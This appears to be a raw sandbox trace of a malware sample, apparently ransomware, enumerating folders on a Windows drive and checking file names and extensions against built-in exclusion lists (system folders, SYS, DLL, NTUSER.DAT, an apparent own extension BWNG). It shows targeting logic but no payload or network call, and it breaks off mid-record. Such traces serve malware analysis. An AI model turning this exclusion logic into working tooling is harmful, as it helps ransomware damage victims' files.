[0029.627] CharUpperBuffW (in: lpsz="\\WINDOWS SIDEBAR\\", cchLength=0x11 | out: lpsz="\\WINDOWS SIDEBAR\\") returned 0x11 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.628] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0029.628] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0029.628] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="HIBERFIL.SYS", cchCount2=12) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="HIBERFIL.SYS", cchCount2=12) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 2 [0029.629] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0029.629] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="PAGEFILE.SYS", cchCount2=12) returned 3 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="PAGEFILE.SYS", cchCount2=12) returned 2 [0029.630] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0029.630] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3dd0810, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3dd0810, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0029.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3dd0810, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3dd0810, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70e3e8 [0029.631] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3dd0810, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3dd0810, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.631] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10704b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10704b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0029.631] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 1 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DESKTOP.INI", cchCount2=11) returned 1 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DESKTOP.INI", cchCount2=11) returned 1 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa104a350, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa104a350, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0029.632] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0029.632] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0029.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.632] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.632] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0029.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.632] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18f024 | out: 